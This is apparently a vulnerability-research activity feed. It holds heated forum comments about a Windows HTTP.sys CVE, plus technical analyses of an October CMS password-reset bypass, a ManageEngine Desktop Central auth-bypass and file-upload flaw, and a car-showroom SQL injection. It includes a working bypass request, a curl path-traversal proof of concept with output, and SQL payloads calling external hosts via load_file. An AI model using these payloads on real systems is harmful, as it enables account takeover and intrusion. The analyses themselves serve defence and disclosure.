Activity Feed

1
-1

Whatever. Obviously, you don’t understand.
Yesterday I found people which using exactly this version without any updates, for their special purpose. By the way, this version is NOT old :D Microsoft just doesn’t give a shit about their clients, they have a lot of money. This is so stupid to deprecate OS which is so young because you can not fix one stupid sanitizing error ok! So, please bro… Stop writing bullshits, and trying to explain to me things which you don’t understand! Bay the way, there is no issue and problems, which are described on CVE-2022-21907, and never has, this is a ridiculous experiment of Microsoft. ;) So. Love and peace!
BR =)

0

Sorry don’t mean to offend but the version you posted as exploiting is Windows 10,0.19041.264, which as noted at https://support.microsoft.com/en-us/topic/windows-10-insider-preview-build-19041-264-3780ec1d-46ed-6847-8a40-afc2204c1b1d is an Insider Preview version of Windows 10 v2004 from October 2020. I’d find this more believable if you ran the tests on a December 2021 build of Windows 10 which would have patched CVE-2021-31166 but not CVE-2022-21907.

Additionally Windows 10 v2004 stopped being support after 2021 which is why if you look at https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21907 you will see no mention of a patch for Windows 10 v2004 for CVE-2022-21907.

Understand that given the stack trace is pretty much exactly the same as the blog post I mentioned combined with the fact that your demo is running against a very outdated version of Windows that is no longer supported, it looks like you were exploiting CVE-2021-31166. If you can demo the bug against something like 10.0.19044.1415, or even something like 10.0.19043.1415, I’d find that to be a lot more of an accurate test as you are testing it against the December 2021 patches vs October 2020 patches.

Indicated source as
2
Ratings
Technical Analysis

Ovewrview

This is a simple Type Confusion / Juggling vulnerability.

October CMS will check to see if the User Supplied reset code matches the value in the database return ($this->reset_password_code == $resetCode);
If we can send a boolean value in place of a reset code we can bypass this check.

Laravel has a feature that if an HTTP POST request is sent as JSON then It will be converted to a matching form data set however the types will persist.

To exploit this vulnerability we simply need to set the Content-Type to JSON and structure our POST request accordingly. An example POST is shown below.

POST /backend/backend/auth/reset/1/[] HTTP/1.1
Host: 172.17.0.2
Content-Length: 162
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.17.0.2
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.17.0.2/backend/backend/auth/reset/1/a
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: october_session=eyJpdiI6ImlGZHMrRTVEUGh6dHkxWllEeVF5dEE9PSIsInZhbHVlIjoiV2tkcmsrbkJxa2R6OWg1TVFLbTQ2Y1pTSG9ZT1RYTEFwdlY0YVVRVEU5a0pxbG5LdE81WVpXeDdGa3pHclhTWGhkbEE2WGZPME82aEpVWFBqcktEakR6Qng3WVpsWUdzYm9mOG9cL0YxTjNXbXFyUEZxWGNVM1BrcmJLaFVIZXVaIiwibWFjIjoiZmVkMDljNGE2MDc2ZGI5NjgyOThkMDJjZGFhNDcxYzg3MTNlNmJhZTRiYmIzZmVkYjNmYTUyMzA4ZjQxMjdiNiJ9
Connection: close

{"_session_key":"RQjdfLkFotyuA4BHOjVykboK3DHByTyDFEs7xZXC","_token":"jBD7MXYuIrYC4n0GClVCigIBrSOShoUICwy3gShS","postback":1,"id":1,"code":true,"password":"hello"}

In the Wild

This has not been verified but initial reports suggest this vulnerability was used to deface a set of Ukrainian government websites – https://twitter.com/KimZetter/status/1481890639029551106

PoC

A proof of concept python script that will attempt to reset the password for the admin account has been published – https://github.com/Immersive-Labs-Sec/CVE-2021-32648

Detection

An attacker attempting to exploit this attack will need to trigger a password reset email. If you observe password reset emails then check access to the server and respond accordingly.

Mitigation

Applying the patches will successfully mitigate against this attack.

0

Ooh, my friend good afternoon =) Obviously, you don’t understand that the problem is not fixed completely.
So, The versions 1908, server 1909, and 2019 versions are not vulnerable by default, they are already patched on the PROD iso
and the problem is fixed, but not yet :D. But if you decide to UPGRADE these products, from 1809 > 1909 to 2004: BOOM – congratulation :D Microsoft has changed the description of the problem, and that what is vulnerable, and what is not. Please read it again!!! We have opened a new case for this CVE + so the information is confidential, and I’m sorry that I can not share more details for the newly opened case!!! As I mentioned, we discovered the problem last year, and I’m glad that you find out about our discussion with 0verkl0k :D This is already reported, and we work on it with Microsoft. So. Do not play with my patience my friend, please!
KR

Technical Analysis

Description

On December 3, 2021, Zoho published a vulnerability notification for CVE-2021-44515, an authentication bypass and potential remote code execution (RCE) vulnerability in its ManageEngine Desktop Central and Desktop Central MSP products.

On December 17, 2021, the FBI published a flash alert for CVE-2021-44515, including technical details and indicators of compromise (IOCs). According to the FBI, APT actors have been exploiting the vulnerability since at least late October 2021. Rapid7 recommends patching any and all instances of Desktop Central on an emergency basis.

Affected products

ManageEngine Desktop Central:

  • Builds 10.1.2127.17 and below
  • Builds 10.1.2128.0 to 10.1.2137.2

ManageEngine Desktop Central MSP:

  • Builds 10.1.2127.17 and below
  • Builds 10.1.2128.0 to 10.1.2137.2

Technical analysis

Please see the FBI’s flash alert for more information.

Patch

(The following code is from webapps/DesktopCentral/WEB-INF/web.xml.)

/STATE_ID/* is now in a “secured” context:

 <security-constraint>
 <web-resource-collection>
     <web-resource-name>Secured Core Context</web-resource-name>
     <url-pattern>*.do</url-pattern>
     <url-pattern>*.cc</url-pattern>
     <url-pattern>*.ama</url-pattern>
     <url-pattern>*.ve</url-pattern>
     <url-pattern>*.pdf</url-pattern>
     <url-pattern>*.xlsx</url-pattern>
     <url-pattern>*.xls</url-pattern>
     <url-pattern>*.json</url-pattern>
     <url-pattern>*.csv</url-pattern>
     <url-pattern>/view/*</url-pattern>
     <url-pattern>/verticalTabJson</url-pattern>
     <url-pattern>/getCustomFilterModel</url-pattern>
     <url-pattern>/remotefilemanager</url-pattern>
     <url-pattern>*.ma</url-pattern>
     <url-pattern>*.ema</url-pattern>
     <url-pattern>*.jsp</url-pattern>
     <url-pattern>/webclient</url-pattern>
     <url-pattern>/integrations</url-pattern>
     <!--<url-pattern>/dcpclient</url-pattern>
     <url-pattern>/blmclient</url-pattern>
     <url-pattern>/appctrlclient</url-pattern>-->
     <url-pattern>/APIExplorerServlet</url-pattern>
                <url-pattern>/configurations</url-pattern>
                <url-pattern>/logout</url-pattern>
                <url-pattern>/changeDefaultAmazonPassword</url-pattern>
     <url-pattern>/customColumnFiles/*</url-pattern>
     <url-pattern>/images/user_profile/*</url-pattern>
     <url-pattern>/images/user_full_profile/*</url-pattern>
     <url-pattern>/getCustomFilterModel</url-pattern>
     <url-pattern>*.ama</url-pattern>
     <url-pattern>*.chart</url-pattern>
     <url-pattern>/CPUUsageDetector</url-pattern>
     <url-pattern>/generatePDF/*</url-pattern>
     <url-pattern>/mdmclient</url-pattern>
+     <url-pattern>/STATE_ID/*</url-pattern>
 </web-resource-collection>

Auth bypass

/STATE_ID/* is filtered by com.adventnet.client.view.web.StateFilter:

<filter>
<filter-name>StateFilter</filter-name>
<filter-class>com.adventnet.client.view.web.StateFilter</filter-class>
</filter>

<filter-mapping>
<filter-name>StateFilter</filter-name>
<url-pattern>/STATE_ID/*</url-pattern>
</filter-mapping>

(The following code is from com.adventnet.client.view.web.StateFilter in lib/AdventNetClientFramework.jar.)

doFilter() calls StateParserGenerator.processState():

    public void doFilter(final ServletRequest request, final ServletResponse response, final FilterChain chain) throws IOException, ServletException {

        try {
            final Long startTime = new Long(System.currentTimeMillis());
            request.setAttribute("TIME_TO_LOAD_START_TIME", (Object)startTime);
            StateFilter.logger.log(Level.FINEST, "doFilter called for {0} ", ((HttpServletRequest)request).getRequestURI());
            StateParserGenerator.processState((HttpServletRequest)request, (HttpServletResponse)response);
            final String forwardPath = ((HttpServletRequest)request).getRequestURI();
            if (!WebClientUtil.isRestful((HttpServletRequest)request) || forwardPath.indexOf("STATE_ID") != -1) {

                final String path = this.getForwardPath((HttpServletRequest)request);
                final RequestDispatcher rd = request.getRequestDispatcher(path);
                rd.forward(request, response);

            }
            else {
                chain.doFilter(request, response);
            }
            StateFilter.logger.log(Level.FINEST, "end of doFilter for {0} ", ((HttpServletRequest)request).getRequestURI());

        }
        catch (RuntimeException ex) {
            throw ex;

        }
        catch (IOException ex2) {
            throw ex2;

        }
        catch (Exception ex3) {
            throw new ServletException((Throwable)ex3);

        }
        finally {
            StateAPI.clearStateForThread();

        }

    }

(The following code is from com.adventnet.client.view.web.StateParserGenerator in lib/AdventNetClientFramework.jar.)

processState() calls parseState():

    public static void processState(final HttpServletRequest request, final HttpServletResponse response) throws Exception {








        if (StateAPI.prevStateDataRef.get() != null) {

            return;
        }
        final Cookie[] cookiesList = request.getCookies();
        if (cookiesList == null) {

            throw new ClientException(2, null);

        }

        final TreeSet set = new TreeSet(new StateUtils.CookieComparator());
        String contextPath = request.getContextPath();
        contextPath = ((contextPath == null || contextPath.trim().length() == 0) ? "/" : contextPath);

        String sessionIdName = request.getServletContext().getSessionCookieConfig().getName();
        sessionIdName = ((sessionIdName != null) ? sessionIdName : "JSESSIONID");

        for (int i = 0; i < cookiesList.length; ++i) {








            final Cookie cookie = cookiesList[i];
            final String cookieName = cookie.getName();
            final String cVal = cookie.getValue();
            String comment = cookie.getComment();
            String domain = cookie.getDomain();
            final int cAge = cookie.getMaxAge();
            final int cVersion = cookie.getVersion();

            final String cNameValue = cookieName + "=" + cVal;
            final String maxAge = (cAge == -1) ? "" : ("; Max-Age=" + cAge);
            final String path = "; Path=/";
            final String version = "; Version=" + cVersion;
            domain = (isValid(domain) ? ("; Domain=" + domain) : "");
            comment = (isValid(comment) ? ("; Comment=" + comment) : "");
            final String secure = request.isSecure() ? "; Secure" : "";


            final String cookieString = cNameValue + maxAge + path + version + domain + comment + "; HttpOnly" + secure;

            if (cookieName.startsWith("_")) {

                cookiesList[i].setPath(contextPath);
                response.addCookie(cookiesList[i]);
            }
            else if (cookieName.startsWith("STATE_COOKIE")) {

                set.add(cookiesList[i]);
            }
            else if (cookieName.equals(StateParserGenerator.SSOID)) {

                if (cVal.equals(request.getSession().getAttribute(StateParserGenerator.SSOID))) {

                    response.addHeader("SET-COOKIE", cookieString);
                }
                StateParserGenerator.logger.log(Level.FINER, StateParserGenerator.SSOID + " cookie {0} from path {1}", new Object[] { cookiesList[i].getValue(), cookiesList[i].getPath() });
            }
            else if (cookieName.equals(sessionIdName)) {

                final String sessionid = request.getSession().getId();
                if (cookiesList[i].getValue().equals(sessionid)) {

                    final String jsessionCookieStr = sessionIdName + "=" + sessionid + "; Path=" + contextPath + "; HttpOnly" + secure;
                    response.addHeader("SET-COOKIE", jsessionCookieStr);
                }
                StateParserGenerator.logger.log(Level.FINER, sessionIdName + " cookie {0} from path {1}", new Object[] { cookiesList[i].getValue(), cookiesList[i].getPath() });

            }

        }





        if (set.size() != 0) {








            final Iterator iterator = set.iterator();
            final StringBuffer cookieValue = new StringBuffer();
            while (iterator.hasNext()) {
                final Cookie currentCookie = iterator.next();
                final String value = currentCookie.getValue();
                cookieValue.append(value);
            }
            request.setAttribute("PREVCLIENTSTATE", (Object)cookieValue.toString());
            final Map state = parseState(cookieValue.toString());
            final HashMap refIdVsId = new HashMap();
            for (final String uniqueId : state.keySet()) {



                final Map viewMap = state.get(uniqueId);
                refIdVsId.put(viewMap.get("ID") + "", uniqueId);
            }
            StateAPI.prevStateDataRef.set((state != null) ? state : StateParserGenerator.NULLOBJ);
            if (state != null) {

                if (!WebClientUtil.isRestful(request)) {

                    final long urlTime = getTimeFromUrl(request.getRequestURI());
                    final long reqTime = Long.parseLong((String)StateAPI.getRequestState("_TIME"));
                    state.get("_REQS").put("_ISBROWSERREFRESH", String.valueOf(urlTime != reqTime && !StateAPI.isSubRequest(request)));

                }
                final Map sesState = state.get("_SES");
                if (sesState != null) {

                    StateAPI.getNewStatesMap().put("_SES", sesState);

                }

            }
            if (WebClientUtil.isRestful(request)) {

                final HashMap urlstatemap = getURLStateMap(request);
                StateAPI.prevURLStateDataRef.set((urlstatemap != null) ? urlstatemap : StateParserGenerator.NULLOBJ);

            }
            savePreferences(request, state);
            StateAPI.refIdMapRef.set(refIdVsId);

            return;

        }
        request.setAttribute("STATE_MAP", StateParserGenerator.NULLOBJ);
        if (!WebClientUtil.isRestful(request)) {
            throw new ClientException(2, null);
        }
    }

parseState() parses STATE_COOKIE, which is easily spoofable:

    public static Map parseState(final String cookieValue) throws UnsupportedEncodingException {





        final HashMap map = new HashMap();

        try {

            final String decodedVal = URLDecoder.decode(cookieValue, "UTF-8");

            final String[] stateArray = getStateArray(decodedVal.getBytes("UTF-8"));

            final int length = stateArray.length;
            HashMap viewMap = null;





            boolean isNextVal = false;
            for (int count = 0; count < length; ++count) {

                final String currentValue = stateArray[count];
                if (currentValue.equals("&")) {

                    final String viewName = stateArray[++count];
                    viewMap = new HashMap();
                    map.put(viewName, viewMap);
                    viewMap.put("UNIQUE_ID", viewName);
                    isNextVal = false;
                }
                else if (currentValue.equals("/")) {

                    if (isNextVal) {

                        String key = stateArray[count - 1];
                        Object value = stateArray[++count];
                        value = URLDecoder.decode((String)value, "UTF-8");
                        if (key.endsWith("_COLL_")) {

                            key = key.substring(0, key.length() - "_COLL_".length());
                            value = StateUtils.parseAsList((String)value);
                        }
                        else if (key.endsWith("_MAP_")) {

                            key = key.substring(0, key.length() - "_MAP_".length());
                            value = StateUtils.parseAsMap((String)value);
                        }
                        viewMap.put(key, value);
                        isNextVal = false;

                    }
                    else {
                        isNextVal = true;

                    }
                }
            }
        }
        catch (Exception e) {
            e.printStackTrace();
        }
        StateParserGenerator.logger.log(Level.FINER, "The state data as a map is {0}", map);
        return map;

    }

webapps/DesktopCentral/framework/javascript/StateHandling.js was helpful in understanding the format of STATE_COOKIE:

/**
* Updates the state cookie with values from stateData array
* also updates state time and rootviewid passed as parameters
* to the state cookie
*/
function updateStateCookie(path, stateTime, rootViewId) {
  var queryStr = '';
  if (!rootViewId) {
    rootViewId = ROOT_VIEW_ID;
  }
  checkForCacheSize();
  for (var name in stateData) {
    //This check breaks the state handling, so I'm commenting that
    queryStr += '&' + name;
    for (var i in stateData[name]) {
      var val = stateData[name][i];
      if (val && (i != '_VN' || val != name)) {
        if (i == '_D_RP') {
          val = getEscapedQueryString(val);
        }
        queryStr += encodeStateAsString(i, val);
      }
    }
  }
  if (!rootViewId) {
    rootViewId = ROOT_VIEW_ID;
  }
  queryStr += '&_REQS/_RVID/' + rootViewId + '/_TIME/' + stateTime;
  if (rootViewId != ROOT_VIEW_ID) {
    queryStr += '/_ORVID/' + ROOT_VIEW_ID;
  }
  setCookieBasedOnSize(queryStr, path);
}

File upload

(The following code is from webapps/DesktopCentral/WEB-INF/web.xml.)

/agentLogUploader is implemented by com.adventnet.sym.webclient.statusupdate.AgentLogUploadServlet:

	<servlet>
		<servlet-name>AgentLogUploadServlet</servlet-name>
		<servlet-class>com.adventnet.sym.webclient.statusupdate.AgentLogUploadServlet</servlet-class>
	</servlet>

[snip]

<servlet-mapping>
<servlet-name>AgentLogUploadServlet</servlet-name>
<url-pattern>/agentLogUploader</url-pattern>
</servlet-mapping>

(The following code is from com.adventnet.sym.webclient.statusupdate.AgentLogUploadServlet in lib/AdventNetDesktopCentral.jar.)

doPost() is vulnerable to file upload and, in older (undetermined) affected versions, path traversal:

    public void doPost(final HttpServletRequest request, final HttpServletResponse response) {
        final Reader reader = null;
        PrintWriter printWriter = null;
        try {
            final String computerName = request.getParameter("computerName");
            final String domName = request.getParameter("domainName");
            final String customerIdStr = request.getParameter("customerId");
            final String resourceidStr = request.getParameter("resourceid");
            final String logType = request.getParameter("logType");
            String fileName = request.getParameter("filename");
            Long managedResourceID = null;
            final String branchId = request.getParameter("branchofficeid");

            if (computerName != null && domName != null && customerIdStr != null) {

                final Long customerID = new Long(customerIdStr);
                managedResourceID = SoMUtil.getInstance().getManagedCompResourceId(computerName, domName, customerID);

            }
            if (logType != null && logType.equalsIgnoreCase("nginx_startup_failure")) {
                final Properties meTrackProps = METrackParamManager.getMETrackParams("DS_Nginx_Startup_Failure");
                if (meTrackProps == null || meTrackProps.isEmpty()) {

                    METrackParamManager.addOrUpdateMETrackParams("DS_Nginx_Startup_Failure", "1");
                }
                else {
                    METrackParamManager.incrementMETrackParams("DS_Nginx_Startup_Failure");

                }
            }
            printWriter = response.getWriter();

            if (managedResourceID != null || branchId != null) {

                final String baseDir = System.getProperty("server.home");
                String wanDir = "agent-logs";
                if (branchId != null) {
                    wanDir = "ds-logs";
                }
                final String localDirToStore = baseDir + File.separator + wanDir + File.separator + customerIdStr + File.separator + domName + File.separator + computerName;
                final File file = new File(localDirToStore);
                if (!file.exists()) {
                    file.mkdirs();
                }
                this.logger.log(Level.WARNING, "absolute Dir {0} ", new Object[] { localDirToStore });





                fileName = fileName.toLowerCase();

                if (fileName != null && FileUploadUtil.hasVulnerabilityInFileName(fileName, "zip|7z|gz")) {
                    this.logger.log(Level.WARNING, "AgentLogUploadServlet : Going to reject the file upload {0}", fileName);
                    response.sendError(403, "Request Refused");
                    return;

                }
                final String absoluteFileName = localDirToStore + File.separator + fileName;

                this.logger.log(Level.WARNING, "absolute File Name {0} ", new Object[] { fileName });


                InputStream in = null;
                FileOutputStream fout = null;
                try {
                    in = (InputStream)request.getInputStream();
                    fout = new FileOutputStream(absoluteFileName);

                    final byte[] bytes = new byte[10000];
                    int i;                      while ((i = in.read(bytes)) != -1) {
                        fout.write(bytes, 0, i);
                    }
                    fout.flush();
                }                  catch (Exception e1) {
                    e1.printStackTrace();
                }                  finally {
                    if (fout != null) {
                        fout.close();
                    }
                    if (in != null) {
                        in.close();
                    }
                }
                if (branchId != null) {
                    DCApiFactoryProvider.getSupportFileCreationAPI().incrementDSLogUploadCount();
                    DCApiFactoryProvider.getSupportFileCreationAPI().removeDSFromList(Long.parseLong(branchId));
                }                  else {
                    DCApiFactoryProvider.getSupportFileCreationAPI().incrementAgentLogUploadCount();
                    DCApiFactoryProvider.getSupportFileCreationAPI().removeComputerFromList(domName + "\\" + computerName);
                }              }
            else {
                this.logger.log(Level.WARNING, "The agent logs are received from unmanaged computer(s) : computerName {0} , domainName {1} ", new Object[] { computerName, domName });
            }
        }
        catch (Exception e2) {
            this.logger.log(Level.WARNING, "Exception   ", e2);

            if (reader != null) {
                try {
                    reader.close();
                }                  catch (Exception ex) {
                    ex.fillInStackTrace();
                }              }          }          finally {              if (reader != null) {                  try {                      reader.close();                  }                  catch (Exception ex2) {                      ex2.fillInStackTrace();
                }
            }
        }
    }

PoC

This writes an empty file to lib/aaa.zip by exploiting the file upload and path traversal:

wvu@kharak:~$ curl -kvb "STATE_COOKIE=&_REQS/_TIME/123" "https://172.16.57.232:8383/STATE_ID/123/agentLogUploader?branchofficeid=0&customerId=1&domainName=../../&computerName=lib&filename=aaa.zip" -d ""
*   Trying 172.16.57.232:8383...
* Connected to 172.16.57.232 (172.16.57.232) port 8383 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384
* ALPN, server accepted to use http/1.1
* Server certificate:
*  subject: C=US; ST=CA; OU=ManageEngine; O=Zoho Corporation; CN=ManageEngine
*  start date: Jan 10 18:18:14 2022 GMT
*  expire date: Jan 10 18:18:14 2023 GMT
*  issuer: C=US; ST=CA; OU=ManageEngine; O=Zoho Corporation; CN=ManageEngineCA
*  SSL certificate verify result: self signed certificate in certificate chain (19), continuing anyway.
> POST /STATE_ID/123/agentLogUploader?branchofficeid=0&customerId=1&domainName=../../&computerName=lib&filename=aaa.zip HTTP/1.1
> Host: 172.16.57.232:8383
> User-Agent: curl/7.80.0
> Accept: */*
> Cookie: STATE_COOKIE=&_REQS/_TIME/123
> Content-Length: 0
> Content-Type: application/x-www-form-urlencoded
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 200
< Server: nginx
< Date: Fri, 14 Jan 2022 09:07:19 GMT
< Content-Length: 0
< Connection: keep-alive
< Set-Cookie: UEMJSESSIONID=6FE4CAD6FF279D21B9B11AD044ED93CA; Path=/; Secure; HttpOnly; SameSite=None
< X-FRAME-OPTIONS: SAMEORIGIN
< X-XSS-Protection: 1; mode=block
< Strict-Transport-Security: max-age=63072000; includeSubdomains;
< X-dc-header: yes
< X-XSS-Protection: 1; mode=block
< Referrer-Policy: same-origin
< Strict-Transport-Security: max-age=63072000; includeSubdomains;
<
* Connection #0 to host 172.16.57.232 left intact
wvu@kharak:~$

(The following output is from logs/serverout0.txt.)

The PoC mimics the IOCs published by the FBI:

[01:07:19:319]|[01-14-2022]|[com.adventnet.sym.webclient.statusupdate.AgentLogUploadServlet]|[WARNING]|[171]|[ab0dc040-f670-4546-803d-89afb194eec1]: absolute Dir ..\ds-logs\1\../../\lib |
[01:07:19:319]|[01-14-2022]|[com.adventnet.sym.webclient.statusupdate.AgentLogUploadServlet]|[WARNING]|[171]|[ab0dc040-f670-4546-803d-89afb194eec1]: absolute File Name aaa.zip |

RCE?

RCE using /agentLogUploader may require overriding a legitimate class and restarting the server. Other endpoints may be used for RCE.

Guidance

Please see the security advisory for Desktop Central.

ManageEngine Desktop Central:

  • For builds 10.1.2127.17 and below, upgrade to 10.1.2127.18
  • For builds 10.1.2128.0 to 10.1.2137.2, upgrade to 10.1.2137.3

ManageEngine Desktop Central MSP:

  • For builds 10.1.2127.17 and below, upgrade to 10.1.2127.18
  • For builds 10.1.2128.0 to 10.1.2137.2, upgrade to 10.1.2137.3

Zoho has also provided an “exploit detection tool” to detect certain IOCs. It is linked in the advisory above.

Resources

1
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

CVE-2021-44655

Software

Vendor

Description:

The bid, c & id parameters from /used_car_showroom/ node app on Online-Pre-owned/Used Car Showroom Management 1.0 system appear to be vulnerable to Multiple time-based blind SQL injection attacks. The payload ‘+(select load_file(’\2z2p3k6kl8xuxf3ykb2dc84ocfi8600orrfi29qy.nu11secur1typenetrationtestingengineer.net\nxj’))+’ was submitted in the bid parameter. This payload injects a SQL sub-query that calls MySQL’s load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed. The attacker can take administrator account control on this system. Status: CRITICAL

[+] Payloads:

  • Multiple: bit, c & id
---
Parameter: bid (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=product_per_brand&bid=7'+(select load_file('\\\\2z2p3k6kl8xuxf3ykb2dc84ocfi8600orrfi29qy.nu11secur1typenetrationtestingengineer.net\\nxj'))+'' AND (SELECT 3670 FROM (SELECT(SLEEP(5)))hxug) AND 'ovPl'='ovPl
---


---
Parameter: c (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=categories&c=2'+(select load_file('\\\\xyzk2f5fk3wpwa2tj618b33jbah35vvjmmadx4lt.nu11secur1typenetrationtestingengineers.net\\thk'))+'' AND (SELECT 4821 FROM (SELECT(SLEEP(3)))DuhP) AND 'vkhG'='vkhG
---


---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=view_product&id=3'+(select load_file('\\\\rc7eg9j9yxaja4gnx0f2pxhdp4vxj17sag13srh.nu11secur1typenetrationtestingengineers.net\\deo'))+'' AND (SELECT 8828 FROM (SELECT(SLEEP(3)))VaSc) AND 'gDVf'='gDVf
---

Reproduce:

href

Proof and Exploit:

href